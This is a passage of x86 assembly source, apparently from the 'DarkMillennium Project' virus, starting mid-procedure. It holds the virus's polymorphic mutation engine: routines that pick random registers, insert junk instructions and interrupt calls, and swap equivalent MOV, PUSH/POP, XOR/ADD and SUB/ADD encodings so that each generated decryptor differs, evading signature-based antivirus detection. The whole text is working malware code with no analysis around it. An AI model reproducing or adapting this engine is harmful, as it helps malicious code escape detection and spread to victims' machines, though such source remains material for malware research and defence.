EBP jz get_reg_3 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_3 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_3 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_1 mov byte ptr [ebp + reg_3 - Start], al popad ret GenerateRegisters endp ; Generate 2 registers, different from the other registers used ; GenerateFuckRegs proc pushad get_reg_fuck_1: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_fuck_1 cmp al, 5 ; no EBP jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_3 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_fuck_1 mov byte ptr [ebp + reg_fuck_1 - Start], al get_reg_fuck_2: mov eax, 15 call random_in_range cmp al, 7 jg ch_FFh cmp al, 4 ; no ESP jz get_reg_fuck_2 cmp al, 5 ; no EBP jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_3 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_fuck_1 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_fuck_2 mov byte ptr [ebp + reg_fuck_2 - Start], al GenerateFuckRegs_Exit: popad ret ch_FFh: mov al, 0FFh mov byte ptr [ebp + reg_fuck_2 - Start], al jmp GenerateFuckRegs_Exit GenerateFuckRegs endp ; Generate MOV reg1, reg2/[reg2]/val like instructions ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenPutX1X2 proc push eax ecx edx lea eax, [edi + offset GenMovType - Start] mov [edi + MovType - Start], eax lea eax, [edi + offset GenPushPopType - Start] mov [edi + PushPopType - Start], eax lea eax, [edi + offset GenXorAddType - Start] mov [edi + XorAddType - Start], eax lea eax, [edi + offset GenSubAddType - Start] mov [edi + SubAddType - Start], eax mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4 call random_in_range mov esi, 4 mul esi xchg esi, eax add esi, edi add esi, offset PutX1X2Table - offset Start mov ebx, dword ptr [esi] pop edx ecx eax call ebx ret GenPutX1X2 endp ; Decryptor Junk instructions ; EBP = location for junk GenerateJunk proc lea eax, [edi + offset GenerateOneByteJunk - Start] mov [edi + OneByteJunk - Start], eax lea eax, [edi + offset GenerateINTs - Start] mov [edi + INTs - Start], eax lea eax, [edi + offset GenNothing - Start] mov [edi + _Nothing - Start], eax lea eax, [edi + offset GenRndPutX1X2 - Start] mov [edi + RndPutX1X2 - Start], eax mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4 call random_in_range mov esi, 4 mul esi xchg esi, eax add esi, edi add esi, offset RandomJunkTable - offset Start mov eax, dword ptr [esi] call eax ret GenerateJunk endp ; Generate one byte instruction, put it in [EBP] and increase EBP with 1 ; EBP = location for generated code GenerateOneByteJunk proc lea esi, [edi + OneByteTable - Start] ; Offset of the table mov eax, offset EndOneByteTable - offset OneByteTable ; size of table call random_in_range ; Must generate random numbers add esi, eax ; Add AX ( AL ) to the offset mov al, byte ptr [esi] ; Put selected opcode in al xchg ebp, edi stosb ; And store it in EDI ( points to ; the decryptor instructions ) xchg ebp, edi ret GenerateOneByteJunk endp ; Generate INT calls and increase edi with 2 ; EBP = location for generated code GenerateINTs proc lea esi, [edi + INTsTable - Start] mov eax, offset EndINTsTable - offset INTsTable call random_in_range add esi, eax mov ah, byte ptr [esi] mov al, 0CDh xchg ebp, edi stosw xchg ebp, edi ret GenerateINTs endp ; Generate NOTHING ; EBP = location for generated code GenNothing proc ret GenNothing endp ; The same with GenPutX1X2 but with random registers and/or values ; NOTE : the registers are not the ones that are already in use GenRndPutX1X2 proc xchg ebp, edi ; random in EDX mov eax, 0FFFFh call random_in_range mov dx, ax shl edx, 10h mov eax, 0FFFFh call random_in_range mov dx, ax ; random types mov eax, 2 call random_in_range mov bl, al mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ... ; 'cause it will give Access Violation in most of the cases mov ax, bx call GenerateFuckRegs mov cl, byte ptr [ebp + reg_fuck_1 - Start] mov ch, byte ptr [ebp + reg_fuck_2 - Start] xchg ebp, edi call GenPutX1X2 ret GenRndPutX1X2 endp ; Generate MOV instructions ; Generate MOV reg1, reg2/[reg2]/val like instructions ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenMovType proc xchg ebp, edi cmp ch, 0FFh jne not_val jmp use_val not_val: cmp ch, 04h jnz not_esp jmp mov_esp not_esp: cmp ch, 05h jnz not_ebp jmp mov_ebp not_ebp: cmp al, 0 jz word_type cmp al, 1 jz dword_type jmp MovType_End word_type: ; reg1 = word reg cmp ah, 1 jz word_type1 ; MOV reg1, reg2 mov ax, 8B66h stosw mov al, cl mov bl, 8 mul bl add al, ch add al, 0C0h stosb jmp MovType_End word_type1: ; MOV reg1, [reg2] mov ax, 8B66h stosw mov al, cl mov bl, 8 mul bl add al, ch stosb jmp MovType_End dword_type: ; reg1 = dword reg cmp ah, 1 jz dword_type1 ; MOV reg1, reg2 mov al, 08Bh stosb mov al, cl mov bl, 8 mul bl add al, ch add al, 0C0h stosb jmp MovType_End dword_type1: ; MOV reg1, [reg2] mov al, 8Bh stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp MovType_End mov_esp: ; MOV reg1, ESP/[ESP] mov al, 8Bh stosb cmp ah, 0 jz mov_esp2 ; MOV reg1, [ESP] mov al, cl mov bl, 8 mul bl add al, 04h stosb mov al, 24h stosb jmp MovType_End ; MOV reg1, ESP mov_esp2: mov al, cl mov bl, 8 mul bl add al, 0C4h stosb jmp MovType_End mov_ebp: ; MOV reg1, EBP/[EBP] mov al, 8Bh stosb cmp ah, 0 jz mov_ebp2 ; MOV reg1, [EBP] mov al, cl mov bl, 8 mul bl add al, 45h stosb mov al, 00h stosb ; MOV reg1, EBP mov_ebp2: mov al, cl mov bl, 8 mul bl add al, 0C5h stosb jmp MovType_End MovType_End: xchg ebp, edi ret use_val: cmp al, 0 jne use_val_ mov al, 66h stosb mov al, 0B8h add al, cl stosb mov ax, dx stosw jmp MovType_End use_val_: mov al, 0B8h add al, cl stosb mov eax, edx stosd jmp MovType_End GenMovType endp ; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val ) ; EBP = location for code ; CL = reg1 (PUSH reg1) ; CH = reg2 (POP reg2) ; ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenPushPopType proc xchg ebp, edi cmp ch, 0FFh jnz not_val_2 push ax jmp use_val_2 not_val_2: push ax cmp al, 0 jnz not_wordreg mov al, 66h stosb not_wordreg: cmp ah, 0 jz not_ebp_ cmp ch, 04h jnz not_esp_ jmp push_esp not_esp_: cmp ch, 05h jnz not_ebp_ jmp push_ebp not_ebp_: cmp ah, 1 jz push_type1 ; PUSH reg2 mov al, 50h add al, ch stosb jmp Pop_reg1 push_type1: ; PUSH [reg2] mov al, 0FFh stosb mov al, 30h add al, ch stosb ; POP reg1 pop ax cmp al, 0 jnz not_wordreg__ mov al, 66h stosb not_wordreg__: mov al, 58h add al, cl stosb jmp PushPopType_End push_esp: ; PUSH [ESP] (reg2) mov ax, 34FFh stosw mov al, 24h stosb jmp Pop_reg1 push_ebp: ; PUSH [EBP] (reg2) mov ax, 75FFh stosw mov al, 00h stosb Pop_reg1: ; POP reg1 pop ax cmp al, 0 jnz not_wordreg_ mov al, 66h stosb not_wordreg_: mov al, 58h add al, cl stosb PushPopType_End:xchg ebp, edi ret use_val_2: cmp al, 0 jnz not_wordreg___ ; PUSH val mov ax, 6866h stosw mov ax, dx stosw mov ch, cl jmp Pop_reg1 not_wordreg___: mov al, 68h stosb mov eax, edx stosd pop ax mov al, 1 mov ch, cl push ax jmp Pop_reg1 GenPushPopType endp ; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val ) ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenXorAddType proc xchg ebp, edi cmp ch, 0FFh jnz not_val_3 jmp use_val_3 not_val_3: push ax cmp al, 0 jnz not_wordreg_2 jmp wordreg_2 not_wordreg_2: ; XOR reg1, reg1 mov al, 33h stosb mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz dwordreg_2 cmp ch, 4 ; ESP ? jz add_esp cmp ch, 5 ; EBP ? jz add_ebp ; ADD reg1, [reg2] mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenXorAddType_End ; ADD reg1, [ESP] add_esp: mov al, 03h stosb mov al, cl mov bl, 9 mul bl add al, 04h stosb mov al, 24h stosb jmp GenSubAddType_End ; ADD reg1, [EBP] add_ebp: mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 45h stosb jmp GenSubAddType_End dwordreg_2: ; ADD reg1, reg2 mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenXorAddType_End wordreg_2: ; XOR reg1, reg1 mov ax, 3366h stosw mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz wordreg_2_ ; ADD reg1, [reg2] mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenXorAddType_End wordreg_2_: ; ADD reg1, reg2 mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenXorAddType_End use_val_3: ; XOR reg1, reg1 mov al, 33h stosb mov al, cl mov bl, 9 mul bl add al, 0C0h stosb ; ADD reg1, val mov al, 81h stosb mov al, 0C0h add al, cl stosb mov eax, edx stosd GenXorAddType_End: xchg ebp, edi ret GenXorAddType endp ; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenSubAddType proc xchg ebp, edi cmp ch, 0FFh jnz not_val_4 jmp use_val_4 not_val_4: push ax cmp al, 0 jnz not_wordreg_3 jmp wordreg_3 not_wordreg_3: ; SUB reg1, reg1 mov al, 2Bh stosb mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz dwordreg_3 cmp ch, 4 ; ESP ? jz add_esp_ cmp ch, 5 ; EBP ? jz add_ebp_ ; ADD reg1, [reg2] mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenSubAddType_End ; ADD reg1, [ESP] add_esp_: mov al, 03h stosb mov al, cl mov bl, 9 mul bl add al, 04h stosb mov al, 24h stosb jmp GenSubAddType_End ; ADD reg1, [EBP] add_ebp_: mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 45h stosb jmp GenSubAddType_End dwordreg_3: ; ADD reg1, reg2 mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenSubAddType_End wordreg_3: ; SUB reg1, reg1 mov ax, 2B66h stosw mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz wordreg_3_ ; ADD reg1, [reg2] mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenSubAddType_End wordreg_3_: ; ADD reg1, reg2 mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenSubAddType_End use_val_4: ; SUB reg1, reg1 mov al, 2Bh stosb mov al, cl mov bl, 9 mul bl add al, 0C0h stosb ; ADD reg1, val mov al, 81h stosb mov al, 0C0h add al, cl stosb mov eax, edx stosd GenSubAddType_End: xchg ebp, edi ret GenSubAddType endp ; Return a random number in AX, between 0 and AX-1 random_in_range proc push bx dx xchg ax, bx call get_rnd xor dx, dx div bx xchg ax, dx pop dx bx ret random_in_range endp ; Tables RandomJunkTable: OneByteJunk dd offset GenerateOneByteJunk INTs dd offset GenerateINTs _Nothing dd offset GenNothing RndPutX1X2 dd offset GenRndPutX1X2 EndRandomJunkTable: OneByteTable: db 090h ; nop db 0F8h ; clc db 0F9h ; stc db 0F5h ; cmc ; db 0CCh ; int 3h ; db 098h ; cbw ; db 099h ; cwd EndOneByteTable: INTsTable: ;db 01h db 08h db 0Ah db 0Bh db 0Ch ; db 0Dh db 0Eh db 0Fh ; db 1Ch db 28h db 2Bh db 2Ch db 2Dh db 70h db 71h db 72h db 73h db 74h ; db 75h db 76h db 77h ; those with ; before'em will generate an error (ussualy a blue screen) EndINTsTable: PutX1X2Table: MovType dd offset GenMovType PushPopType dd offset GenPushPopType XorAddType dd offset GenXorAddType SubAddType dd offset GenSubAddType EndPutX1X2Table: regsTable: reg_1 db 0 reg_2 db 0 reg_3 db 0 reg_key db 0 reg_fuck_1 db 0 reg_fuck_2 db 0 regsTableEnd: _end: gfx_buffer db 10Dh dup (0) _end_2: w_title db 'DarkMillennium Project', 0 end Begin end